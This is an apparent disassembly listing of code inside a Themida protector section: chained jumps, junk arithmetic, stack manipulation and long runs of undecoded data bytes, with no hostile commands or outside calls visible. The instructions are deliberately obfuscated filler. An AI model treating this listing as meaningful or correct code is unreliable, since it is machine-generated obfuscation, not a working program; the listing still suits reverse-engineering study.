dd 2BEh, 0D256E900h, 0D2F7FFFFh, 0FFC3A7E9h, 51AFBEFFh
dd 0B2684CA8h, 89000002h, 23B82404h, 1423C62h, 0F68158C6h
dd 0AD55ACAh, 771EE81h, 0EE812AAAh, 6E35BB0h, 1A03BF57h
dd 94E96916h
db 96h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B6D3: ; CODE XREF: Themida_:0055224Bj
mov edi, [esp]
add esp, 4
add edx, eax
sub edx, 6A8A585Eh
sub edx, 3E122E9Ch
push ebx
mov ebx, 52215572h
jmp loc_54B5BC
; ---------------------------------------------------------------------------
loc_54B6F2: ; CODE XREF: Themida_:005570F4j
pop eax
add ebx, 0F5D991E4h
push ebx
pop esi
mov ebx, [esp]
jmp loc_54FB59
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 5BC66800h, 55E90000h, 5A00009Dh, 2474FF57h, 48F5F04h
dd 0EC76E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B722: ; CODE XREF: Themida_:0054C3A6j
pop ecx
sub esp, 4
jmp loc_553111
; ---------------------------------------------------------------------------
dw 815Bh
dd 4C4h, 4C48300h, 0FFAE40E9h, 240487FFh, 243C895Ch, 1C13E9h
db 0
; ---------------------------------------------------------------------------
loc_54B749: ; CODE XREF: Themida_:00553E45j
mov eax, 75127CA5h
jmp loc_548046
; ---------------------------------------------------------------------------
db 1
aXSxz db 'ÆX]éåz',0
align 4
dd 4C6835Dh, 36D1E9h, 20E66800h, 1FE917BCh, 89000066h
dd 34FF2404h, 2434FF24h, 0E789575Bh, 4C781h, 0C7810000h
dd 4, 31243C33h, 3C33243Ch, 24248B24h, 4EC81h, 1C890000h
dd 81E38924h, 4C3h, 42196800h, 7FE90000h, 0FFFFFF7h, 9C68C8BFh
dd 0E900001Dh, 0FFFFFB25h
; ---------------------------------------------------------------------------
loc_54B7BC: ; CODE XREF: Themida_:005516C3j
add ebp, edi
jmp loc_551A16
; ---------------------------------------------------------------------------
loc_54B7C3: ; CODE XREF: Themida_:0054DA94j
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebp
mov ebp, 1FAE0DD1h
inc ebp
shl ebp, 8
not ebp
jmp loc_555106
; ---------------------------------------------------------------------------
loc_54B7DF: ; CODE XREF: Themida_:0054FAF5j
xor ecx, [esp]
xor [esp], ecx
jmp loc_553E63
; ---------------------------------------------------------------------------
dw 7DB7h
dd 0F9284EB1h, 0F1B4505Bh, 0F624E480h, 37A2E9D4h, 0E9520000h
dd 0B04Fh
; ---------------------------------------------------------------------------
loc_54B804: ; CODE XREF: Themida_:00550CB2j
xor edi, ebp
jmp loc_54E4F7
; ---------------------------------------------------------------------------
db 1
dd 240C8BCAh, 9C38E9h, 2434FF00h, 4C48358h, 32F9C181h
dd 0F18158B8h, 77F87632h, 0FFCFA3E9h, 48F5AFFh, 89535C24h
dd 4B850E3h, 81000000h, 0F77D7CC3h, 50C3013Dh, 0FFB30DE9h
dd 4C483FFh, 0FFFC7AE9h, 24148BFFh, 8304C483h, 0EC8302C6h
dd 24348904h, 42474FFh, 8324348Bh, 48F04C4h, 24248B24h
dd 68F9F766h, 2B70h, 89240489h, 405E0h, 42D0000h, 50000000h
dd 1F19E9h
db 0
; ---------------------------------------------------------------------------
loc_54B88D: ; CODE XREF: Themida_:0055188Fj
add al, cl
mov ecx, [esp]
add esp, 4
add bl, al
pop eax
jmp loc_54F59C
; ---------------------------------------------------------------------------
loc_54B89D: ; CODE XREF: Themida_:00551291j
mov eax, esi
push dword ptr [esp]
pop esi
push 58C0h
mov [esp], edx
push esp
pop edx
jmp loc_54A030
; ---------------------------------------------------------------------------
dw 0E7C1h
dd 0D3C78107h, 0E97BFA71h, 0FFFFE74Fh, 0E95EF031h, 0FFFFE69Dh
dd 0E6895659h, 4C681h, 0C6830000h, 24348704h, 0E951555Ch
dd 8DBAh, 31240433h, 9CE92404h, 8BFFFFD7h, 0C4832434h
dd 0E930FF04h, 0FFFF6E14h, 0E9FFC380h, 4BABh
; ---------------------------------------------------------------------------
loc_54B900: ; CODE XREF: Themida_:0054C2B3j
sub ebp, 0EC4F5B6Bh
push ebx
mov ebx, 39FB5FD9h
add edx, ebx
pop ebx
add edx, 2D667654h
add edx, ebp
sub edx, 2D667654h
jmp loc_551E26
; ---------------------------------------------------------------------------
dw 0BA52h
dd 461232F3h, 148BD301h, 4C48324h, 4EC81h, 1C890000h, 24348124h
dd 53FF58CEh, 5BC0E9h, 2434FF00h, 0E92434FFh, 0FFFFAC3Ch
dd 4BB535Bh, 1000000h, 0C335BD9h, 240C3124h, 5C240C33h
dd 76A668h, 24048900h, 11C7E9h, 0EC81AD00h, 4, 0BB241C89h
dd 341736BDh, 305EC381h, 0F3814C5Bh, 751D1149h, 70FCB850h
dd 0C30948FCh, 0FF8F12E9h, 0B9E952FFh
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B99F: ; CODE XREF: Themida_:00552BBEj
mov edi, [esp]
add esp, 4
push 0AB3h
mov [esp], eax
mov eax, 0C481DC8h
shl eax, 8
xor eax, 19CF40D1h
jmp loc_551DD2
; ---------------------------------------------------------------------------
dw 0EF81h
dd 4575DE9h, 48E9DF01h, 900007Eh, 0CBE95EF5h, 31000092h
dd 1C33241Ch, 241C3124h, 4C5CE9h, 4C48100h, 56000000h
dd 0E97A93BEh, 8BF5012Ah, 0C4832434h, 90C58104h, 817E6426h
dd 9D6E86C5h, 81C5013Eh, 9D6E86EDh, 90ED813Eh, 817E6426h
dd 0E97A93EDh, 0BE9582Ah, 81000061h, 71496AC7h, 2434FF1Ch
dd 0FFB8C9E9h, 815954FFh, 4C1h, 4C18300h, 31240C33h, 0C33240Ch
dd 262C5C24h, 2604E828h, 0FFC499E9h, 4EC83FFh, 68242C89h
dd 38B5658Eh, 81242C8Bh, 4C4h, 0C1DDF700h, 555204E5h, 663B51BDh
dd 0B205BA40h, 44E9A3B1h, 5A0000AFh, 0A353C281h, 0D589C519h
dd 19EF815Ah, 121875Eh, 19C781EFh, 5D21875Eh, 2474FF57h
dd 8290E904h, 0DD88FFFFh, 122C5A5Bh, 0FFF0F6E9h, 81E289FFh
dd 4C2h, 4EC8300h, 0FF6E96E9h, 2CDBBFFh, 0EBC17228h, 3EEB8102h
dd 9D5A283h, 7FE95BDEh, 81000083h, 4C4h, 241C8B00h, 4C481h
dd 4CE90000h, 0BE000088h, 69C93534h, 7C30E681h, 0EE815C1Dh
dd 4DB27895h, 59E1E681h, 0DE876FB9h, 0E0E9D3F7h, 50FFFFA1h
dd 837EFDB8h, 40D0F728h, 0E907E0C1h, 0FFFF8F9Ch, 0A84837BEh
dd 1C7CE90Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BB1A: ; CODE XREF: Themida_:00556B43j
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push 16Eh
mov [esp], esi
push 4572h
mov [esp], edx
mov edx, 58993865h
push ebp
mov ebp, edx
jmp loc_54A521
; ---------------------------------------------------------------------------
db 0B9h, 35h, 80h
dd 0CF018010h, 8CE98159h, 1735C37h, 0E7EDE9F9h, 1C89FFFFh
dd 7711BB24h, 0EBC148D6h, 8EBC105h, 68h, 241C2900h, 54F3815Bh
dd 81441A6Bh, 0D9A483EBh, 5BD98988h, 34FFCD21h, 0C4815924h
dd 4, 8102EDC1h, 430961F5h, 0E9E9010Ch, 0FFFFBB58h, 88E78853h
dd 88585BF9h, 5C8A59CEh, 74880224h, 5A660224h, 0FFE9C8E9h
dd 58C221FFh, 6EB9EA81h, 18E9C495h, 89000025h, 26E92404h
db 96h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BBCF: ; CODE XREF: Themida_:00545AC2j
mov [esp], esi
mov esi, 33E055CCh
push eax
mov eax, 473713A5h
add eax, 229167F2h
or esi, eax
jmp loc_552916
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 8924248Bh, 0FDE92404h, 5AFFFFC7h, 1BE9D1F6h, 1FFFFA1h
dd 21ED81F5h, 5E00271Ch, 25BEE581h, 685135B1h, 72AEh, 0E9243489h
dd 51F7h, 7CEBED81h, 45450078h, 0E5C1DDF7h, 0DED8106h
dd 0E967DC74h, 0FFFF8D94h, 7EB4BE56h, 0DEF76DDFh, 14C4E94Eh
dd 4890000h, 9BF6E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BC4A: ; CODE XREF: Themida_:0054CC3Cj
mov ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_545CF3
; ---------------------------------------------------------------------------
db 31h
dd 0F6B5E9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BC5E: ; CODE XREF: Themida_:00542D04j
push ebx
mov ebx, esp
jmp loc_550FAD
; ---------------------------------------------------------------------------
dw 1C33h
dd 241C3124h, 8B241C33h, 66642424h, 91E90289h, 51FFFF6Ah
dd 0FFBA09E9h, 6726B8FFh, 0C5095110h, 0FFF9BAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54BC8D: ; CODE XREF: Themida_:00544C5Fj
pop eax
and ebx, ebp
push dword ptr [esp]
pop ebp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_547BDE
; ---------------------------------------------------------------------------
dd 0A82CD828h, 0E389535Bh, 4C381h, 0EB810000h, 4, 0FF8045E9h
dd 0E95F58FFh, 0FFFFEA04h, 96F4E95Dh, 0EC81FFFFh, 4, 0E9243C89h
dd 0FFFFDE15h
; ---------------------------------------------------------------------------
loc_54BCDC: ; CODE XREF: Themida_:0054F4F5j
push ecx
mov ecx, esp
add ecx, 4
jmp loc_557275
; ---------------------------------------------------------------------------
loc_54BCEA: ; CODE XREF: Themida_:005457BAj
mov [esp], esp
jmp loc_557323
; ---------------------------------------------------------------------------
dw 8142h
dd 0CE2F2DCAh, 3BEA8112h, 8128AC66h, 0BD7712C2h, 8BD001F5h
dd 89532414h, 4C381E3h, 57000000h, 0B37F35BFh, 8DE7814Bh
dd 8150A658h, 5DA7FFC7h, 5FFB01BFh, 5C241C87h, 168D68h
dd 240C8900h, 4424E8B9h, 1E98145h, 411F726Ah, 66F1E181h
dd 0D9F73FDAh, 0DA43F181h, 0E950BEB5h, 0B099h, 4C38159h
dd 87000000h, 248B241Ch, 69A6E924h, 8B66FFFFh, 0E956240Ch
dd 478Dh, 59CB285Bh, 0C0B60F58h, 24148B66h, 575068h, 993EE900h
dd 89510000h, 4C181E1h, 68000000h, 11E3h, 0BA241489h, 4
dd 148BD129h, 4C48124h, 87000000h, 248B240Ch, 3CB0E924h
dd 78B80000h, 0E9715F3Eh, 87D3h
; ---------------------------------------------------------------------------
loc_54BDBC: ; CODE XREF: Themida_:00550777j
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
sub ebx, ebp
mov ebp, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5531BF
; ---------------------------------------------------------------------------
dd 0E9241C89h, 46F3h, 0B9FFE958h, 0DE9FFFFh
db 69h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BDFF: ; CODE XREF: Themida_:00557B26j
mov [esp], ecx
mov ecx, 0E849F603h
jmp loc_54FFB8
; ---------------------------------------------------------------------------
dd 0E95BDD29h, 4119h
; ---------------------------------------------------------------------------
loc_54BE14: ; CODE XREF: Themida_:0054F8FDj
sub edi, 6C0B1BFEh
jmp loc_5521E5
; ---------------------------------------------------------------------------
loc_54BE1F: ; CODE XREF: Themida_:00544159j
push ebx
push 4
pop ebx
jmp loc_545138
; ---------------------------------------------------------------------------
db 1
dd 13E959CBh
db 7Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BE33: ; CODE XREF: Themida_:0054E21Bj
add edi, esi
sub edi, 46AD5DE9h
pop esi
push eax
push 610Eh
jmp loc_557A98
; ---------------------------------------------------------------------------
loc_54BE47: ; CODE XREF: Themida_:00552F9Dj
xchg ebx, [esp]
jmp loc_551C0B
; ---------------------------------------------------------------------------
aYsie db 'Y鉅',0
db 0
; ---------------------------------------------------------------------------
loc_54BE55: ; CODE XREF: Themida_:00543D58j
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
add edi, 4
jmp loc_54CB60
; ---------------------------------------------------------------------------
loc_54BE6D: ; CODE XREF: Themida_:00542720j
sub ebp, 0FFFFFFFFh
shl ebp, 1
shr ebp, 3
push edx
mov edx, 41A42A8Eh
jmp loc_543F09
; ---------------------------------------------------------------------------
dd 0EB81EB01h, 78580FB8h, 83242C8Bh, 0EC8304C4h, 0A723E904h
dd 8C25FFFFh, 407BE519h, 41192D35h, 58C38968h, 1DA0C681h
dd 0DE010B33h, 374C68h, 243C8900h, 331DA0BFh, 7B75E90Bh
dd 0C100FFFFh, 80D10058h, 148BB8E9h, 4C48124h, 53000000h
dd 0E3C0C8B3h, 32B45003h, 0EC80C4FEh, 58E330D9h, 1C8BD900h
dd 4C48124h, 0E9000000h, 68F9h, 8B91E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BEF6: ; CODE XREF: Themida_:0054DE27j
add esi, 64324308h
pop ecx
add esi, 0B59FE362h
sub eax, 9C570F6h
jmp loc_5531A7
; ---------------------------------------------------------------------------
loc_54BF0D: ; CODE XREF: Themida_:0054D938j
pop esi
pop esi
add esi, 4
push edx
mov edx, 4
sub esi, 0AFC2DF3h
add esi, edx
add esi, 0AFC2DF3h
mov edx, [esp]
add esp, 4
xchg esi, [esp]
pop esp
jmp loc_5488B9
; ---------------------------------------------------------------------------
aISsD db 'ˆÐS鵤',0
dw 8100h
dd 9A1AD3C3h, 81F30158h, 9A1AD3EBh, 0C38158h, 0FF08CC41h
dd 815E2434h, 4C4h, 5ED6800h, 1C890000h, 2474FF24h, 3E21E904h
dd 85680000h, 89000026h, 2BA2414h, 89000000h, 0BA25E9D7h
dd 34FFFFFFh, 0B1FAE924h, 8B66FFFFh, 6852240Ch, 4FDAh
dd 8904EC83h, 4EE92414h, 81FFFFECh, 540A6AC5h, 1C6F0906h
dd 0FFAB85E9h, 0D2F75AFFh, 79E7E953h, 34FF0000h, 376CE924h
dd 5E540000h, 4C681h, 31E90000h
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BFCF: ; CODE XREF: Themida_:00552130j
mov [esp], ebp
mov ebp, 2
add ebx, 6DD15BB3h
sub ebx, 48DA2429h
add ebx, ebp
add ebx, 48DA2429h
sub esp, 4
mov [esp], eax
mov eax, 554A312Fh
neg eax
shr eax, 6
shr eax, 7
push esi
mov esi, 6DD40E1Dh
xor eax, esi
pop esi
jmp loc_54CAA4
; ---------------------------------------------------------------------------
db 80h
dd 0E80088C5h, 21B6859h, 1C890000h, 0D8E95124h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C023: ; CODE XREF: Themida_:005517BEj
not eax
push edx
mov edx, 4912F5Ah
add edx, 0B6FD6ABh
sub eax, edx
pop edx
jmp loc_55409C
; ---------------------------------------------------------------------------
db 2Dh, 0A7h, 8Fh
dd 0C3317EB7h, 0AD46E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C046: ; CODE XREF: Themida_:0054B073j
mov [esp], ebx
jmp loc_54FD3C
; ---------------------------------------------------------------------------
dw 0F181h
dd 0F6619177h, 0E959CB21h, 0FFFFA664h, 0A87B17BEh, 9F08E92Bh
dd 0A1E9FFFFh
db 66h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C06B: ; CODE XREF: Themida_:0054D4BBj
jmp loc_54270C
; ---------------------------------------------------------------------------
loc_54C070: ; CODE XREF: Themida_:0054D807j
push 1C0309FAh
jmp loc_5571E1
; ---------------------------------------------------------------------------
dw 48Fh
aS_n db '$é.',0
align 2
dw 0ED81h
dd 19ED8812h, 0E95DE889h, 0FFFFEC97h, 1399C581h, 515F639Eh
dd 63CEE9h, 37E95100h, 5FFFFEAh, 7A4A40A1h, 9711DA05h
dd 0E9D8296Eh, 0FFFF790Fh, 0EB81FB01h, 61CE5A61h, 5E50EB81h
dd 0C3814C31h, 74DC0CFEh, 81243C8Bh, 4ECh, 24048900h, 0B0E9E089h
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C0DB: ; CODE XREF: Themida_:00554828j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ebp
jmp loc_553DDC
; ---------------------------------------------------------------------------
aBDoq_h db 'ÎDoŸ.hÍ=',0
dw 8900h
dd 0F6E92414h, 890000B7h, 24048BC2h, 8104C483h, 12A1BCAh
dd 0B0F2813Fh, 81077217h, 0D53695C2h, 5AD6211Ah, 0FFCBC1E9h
dd 0BA5258FFh, 5E2262E5h, 0C102E2C1h, 0BFE906E2h, 80FFFFFBh
dd 0ED8057F5h, 0E9EB283Fh, 5141h, 0C281E289h, 4, 4C281h
dd 14870000h, 0C809E924h, 0E9C1FFFFh, 0DEE95706h, 31FFFF7Ah
dd 0C8295FF9h, 178EE9h, 55E68900h, 0D250EBDh, 81DDF705h
dd 0D2512C5h, 0FFEE0105h, 0E95D2434h, 0A14Eh, 6824248Bh
dd 77A2h, 2457E9h, 2454F600h, 0F6805A01h, 8FC9E925h, 0C4800000h
dd 3AC38020h, 570E9h, 4E6C100h, 1EE81h, 0F6810000h, 80872429h
dd 5B2FE9h
db 0
; ---------------------------------------------------------------------------
loc_54C1BD: ; CODE XREF: Themida_:0054CDAFj
mov bl, 25h
jmp loc_54AC96
; ---------------------------------------------------------------------------
loc_54C1C4: ; CODE XREF: Themida_:0054EF28j
sub bl, 66h
sub bl, 8Dh
add bl, al
add bl, 8Dh
sub esp, 4
mov [esp], ecx
mov ch, 82h
sub ch, 1Ch
add bl, ch
jmp loc_542E92
; ---------------------------------------------------------------------------
loc_54C1E1: ; CODE XREF: Themida_:00550000j
push esp
mov ecx, [esp]
add esp, 4
push edi
mov edi, 4
add ecx, edi
pop edi
add ecx, 4
xchg ecx, [esp]
pop esp
loc_54C1FB: ; CODE XREF: Themida_:0054C40Dj
push eax
mov eax, esp
jmp loc_54F3AC
; ---------------------------------------------------------------------------
db 83h
dd 81E904C4h, 8300007Ch, 1C8704C3h, 8B685C24h, 89000038h
dd 74FF2404h, 0FDE90424h, 8F00001Dh, 248B2404h, 8E8C124h
dd 6168C831h, 0E900002Ch, 0FFFFE373h, 0E92434FFh, 0FFFF6E39h
dd 5704C483h, 0D043C4BFh, 0F5BD5542h, 53146B4Ah, 6663BEBBh
dd 0C9B9514Eh, 81067F72h, 0F34C8EF1h, 72C38151h, 0E97F5739h
dd 0FFFFE266h
; ---------------------------------------------------------------------------
loc_54C26C: ; CODE XREF: Themida_:00553C9Cj
shl edx, 6
push 2EA1h
mov [esp], esi
mov esi, 7CFE49D2h
xor esi, 56AF0A1Fh
shl esi, 6
shr esi, 2
jmp loc_547FEB
; ---------------------------------------------------------------------------
db 5Dh, 2Dh, 0A6h
dd 0C15B4333h, 0E99506E0h, 0B3DBh
; ---------------------------------------------------------------------------
loc_54C29C: ; CODE XREF: Themida_:0054963Bj
mov [esp], edx
push eax
mov eax, 2C700E1Ch
mov edx, 2C700E38h
xor edx, eax
pop eax
push ebp
mov ebp, 4B466D5Ch
jmp loc_54B900
; ---------------------------------------------------------------------------
dd 8324048Bh, 0BB5304C4h, 0B1271FB6h, 1C8BD989h, 4C48324h
dd 0E95EF129h, 0F5h
; ---------------------------------------------------------------------------
loc_54C2D4: ; CODE XREF: Themida_:0055612Dj
mov ecx, [esp]
jmp loc_553A59
; ---------------------------------------------------------------------------
dd 4BBh, 245C0100h, 9DE95B04h, 89FFFFA4h, 310FE9CDh, 1C890000h
dd 6FA7BB24h, 2BE97361h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C2FF: ; CODE XREF: Themida_:00547499j
push ebx
mov ebx, 66775603h
push 30C8h
mov [esp], ebp
mov ebp, ebx
mov esi, ebp
mov ebp, [esp]
jmp loc_546AF6
; ---------------------------------------------------------------------------
loc_54C319: ; CODE XREF: Themida_:00546388j
mov ebp, 1A4146B2h
add ebp, 4AA916E3h
add ebx, ebp
pop ebp
jmp loc_550551
; ---------------------------------------------------------------------------
dd 243C875Eh, 0FF54525Ch, 94E92434h, 2900004Eh, 0AF80E9DEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C342: ; CODE XREF: Themida_:0054B3F1j
sub [esp+8], eax
add dword ptr [esp+8], 3D6F5A81h
pop eax
pop eax
mov eax, [esp]
push 4005h
jmp loc_5530F3
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0DCh
dd 813A5E0Eh, 0A011E4EDh, 10CD8154h, 0F710811Dh, 87C581DDh
dd 0E98CA48Ch, 0FFFF805Fh, 0EC80C4FEh, 8BE52802h, 5BE92404h
dd 2CFFFF84h, 34FF5954h, 2CE95B24h, 0C000009Bh, 0CCFE03E4h
dd 45E9D4F6h
db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C3A3: ; CODE XREF: Themida_:005467CEj
push dword ptr [esp]
jmp loc_54B722
; ---------------------------------------------------------------------------
db 89h
dd 4C181E1h, 0E9000000h, 6C84h, 8124048Bh, 4C4h, 2EB8300h
dd 0B2A6E9h, 0D486800h, 0C0E90000h, 500000AFh, 5B10E2B8h
dd 0E1D8E91Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C3DE: ; CODE XREF: Themida_:005517C5j
pop ebx
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5453B6
; ---------------------------------------------------------------------------
loc_54C3F7: ; CODE XREF: Themida_:005532C4j
mov esi, ebx
pop ebx
and ebx, esi
pop esi
sub ebx, 2122A50h
and eax, ebx
mov ebx, [esp]
add esp, 4
or eax, eax
jz loc_54C1FB
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_551DDB
; ---------------------------------------------------------------------------
loc_54C439: ; CODE XREF: Themida_:0054420Dj
mov esi, 0DA23A47Ch
xor ebx, esi
mov esi, [esp]
jmp loc_54629C
; ---------------------------------------------------------------------------
dd 0FF62BFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C44D: ; CODE XREF: Themida_:0054ED01j
and eax, edi
mov edi, [esp]
jmp loc_544F29
; ---------------------------------------------------------------------------
db 5Dh
dd 8B243C87h, 69E92424h
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C463: ; CODE XREF: Themida_:00553D09j
mov ebx, [esp]
add esp, 4
add edx, 4
jmp loc_54A8EC
; ---------------------------------------------------------------------------
db 0ACh, 0E9h, 0D5h
db 6Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C477: ; CODE XREF: Themida_:0054E1FEj
add ebp, ecx
pop ecx
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5457AD
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 63BD242Ch, 9638C3Eh, 242C8BE9h, 815A5452h
dd 4C2h, 4C28100h, 87000000h, 575C2414h, 0FF7EFBBFh, 5FF9316Fh
dd 134FE9h
db 0
; ---------------------------------------------------------------------------
loc_54C4BD: ; CODE XREF: Themida_:0054F86Dj
push eax
jmp loc_554F92
; ---------------------------------------------------------------------------
loc_54C4C3: ; CODE XREF: Themida_:00545B18j
xor cl, al
jmp loc_54B1A5
; ---------------------------------------------------------------------------
dw 0E6C0h
dd 0B2E95006h
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C4D3: ; CODE XREF: Themida_:005459A2j
push dword ptr [esp]
pop esi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_54DC69
; ---------------------------------------------------------------------------
db 68h
dd 7CC3185Ch, 83240C8Bh, 0E98304C4h, 5E9C101h, 0CC0BBD55h
dd 0E929FE7Fh, 39FE9h, 0C1E95500h, 8300007Dh, 3C8904ECh
dd 2474FF24h, 2434FF04h, 33AB685Fh, 0C890000h, 57E18924h
dd 0B010E3BFh, 7CE78128h, 0E9399309h, 2C50h, 5DEE015Ch
dd 4BF57h, 0FE010000h, 7D49E9h, 4C38100h, 81000000h, 4C3h
dd 241C8700h, 9FBD555Ch, 2D5EE857h, 4986007Eh, 7E05E801h
dd 8B498600h, 0C481242Ch, 4, 4EC81h, 0C890000h, 8715E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C582: ; CODE XREF: Themida_:0054816Aj
mov [esp], eax
push esp
jmp loc_5500C7
; ---------------------------------------------------------------------------
db 5
dd 4, 405h, 24048700h, 6624248Bh, 6600B60Fh, 664F2068h
dd 0E9240489h, 0FFFF6160h, 436168h, 241C8900h, 0EF80C6B7h
dd 0AEDE9C3h, 515B0000h, 5766E9h, 81D52900h, 5F7EA8C5h
dd 24148B18h, 4C481h, 0F5810000h, 0BB59697Fh, 3F5DC681h
dd 94E930A6h, 87000003h, 515C240Ch, 0FFD2F9E9h, 241C8BFFh
dd 4C483h, 5D5AE9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C5FE: ; CODE XREF: Themida_:00542D78j
mov ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
sub esi, ebp
mov ebp, [esp]
jmp loc_547A87
; ---------------------------------------------------------------------------
db 29h, 0F3h, 5Eh
dd 84E9EB29h, 8BFFFFE2h, 0C481243Ch, 4, 5C24048Fh, 66E1F766h
dd 66741A68h, 66241489h, 0D1E99C50h, 50FFFF60h, 24348156h
dd 733A4970h, 49703558h, 0C289733Ah, 0D7295E58h, 242C8B5Ah
dd 5104C483h, 4B9h, 59CF0100h, 8BF4E957h, 2C89FFFFh, 726BE924h
dd 8953FFFFh, 3B6851E3h, 5906D01Ah, 84BA5256h, 0BE2F9250h
dd 4577A31h, 0FF9FDBE9h, 4C483FFh, 8107E1C1h, 1FED90C1h
dd 0E9C829EEh, 0FFFFA829h, 1C5F215Ch, 6066E95Bh, 0D68FFFFh
dd 5F1AD12Fh, 6FB9C781h, 0F7815215h, 19A386AFh, 0BB5FFA89h
dd 3A4A698Dh, 565AD331h, 0BEh, 56DE2900h, 96E95E5Bh, 68FFFFD5h
dd 4D52h, 68241C89h, 223E62FFh, 81241C8Bh, 4C4h, 62685200h
dd 0E970583Fh, 0FFFF8523h, 0FFFFFFBFh, 0C648E9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C6FE: ; CODE XREF: Themida_:00548B73j
mov esi, esp
push edx
jmp loc_547777
; ---------------------------------------------------------------------------
dw 483h
dd 0D4E90424h, 0B8000076h, 0FD2D05B9h, 4962E9h, 0ABEB8000h
dd 7DEB80h, 7DC380E3h, 0FFA26FE9h, 2474FFFFh, 4144E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C732: ; CODE XREF: Themida_:005556A4j
neg ebp
jmp loc_5504DB
; ---------------------------------------------------------------------------
db 0BAh, 0D7h, 8
dd 0C2816412h, 72A94A87h, 8103EAC1h, 564E14F2h, 4EAC133h
dd 7E46C281h, 0EA815206h, 12821BA9h, 815AD789h, 0BC2BE7CFh
dd 96EBE979h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C76A: ; CODE XREF: Themida_:00554DCFj
mov edx, 5F6C03E2h
mov ecx, edx
pop edx
or ecx, 10B81209h
push edx
mov edx, 68206881h
add edx, 711F4A11h
jmp loc_548C69
; ---------------------------------------------------------------------------
db 81h, 0C1h, 4
dd 52000000h, 4EC81h, 24890000h, 24048124h, 4, 8124148Bh
dd 4C4h, 20BF5700h, 0E97CC362h, 0B21h
; ---------------------------------------------------------------------------
loc_54C7B4: ; CODE XREF: Themida_:00552A8Bj
pop ebx
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5509AC
; ---------------------------------------------------------------------------
db 57h, 0BFh, 8
dd 174D85Fh, 5F08247Ch, 4244401h, 4246C81h, 74D85F08h
dd 0FF7D26E9h, 3EF381FFh, 816A4025h, 0C70E4AC3h, 1DBA524Fh
dd 81360473h, 0D52DBBCAh, 7E2C170h, 240CFF52h, 6EAC15Ah
dd 3727CA81h, 0C28121E2h, 57EE9D6Dh, 17EEC381h, 4E95D35h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C823: ; CODE XREF: Themida_:0054FF18j
pop ecx
add edx, 27AB2E62h
sub edx, 1F660C98h
not edx
jmp loc_548E9A
; ---------------------------------------------------------------------------
db 5Bh
dd 8108EAC1h, 0DCFB5BC2h, 57C5054Dh, 38E91929h, 87000087h
dd 2C8B240Ch, 0F9EAE924h, 0D6F7FFFFh, 0E3D5EE81h, 0EC831418h
dd 24348904h, 2242C81h, 0FF3CC66Ch, 0CEE92434h, 81FFFFC3h
dd 4ECh, 24248900h, 431168h, 24148900h, 468h, 2434FF00h
dd 8124148Bh, 4C4h, 1E786800h, 0C890000h, 0C6B5E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C8A2: ; CODE XREF: Themida_:00544D24j
push ebx
jmp loc_557B18
; ---------------------------------------------------------------------------
dd 595F515Dh, 0C7DC781h, 0B8051BB2h, 29244003h, 4EC81F8h
dd 89000000h, 0E956241Ch, 10D6h, 4C181h, 0C1810000h, 4
dd 31240C33h, 0C33240Ch, 0C1835C24h, 240C3302h, 0E9240C31h
dd 10EBh, 351FF42Dh, 2092D14h, 0E5E97B56h
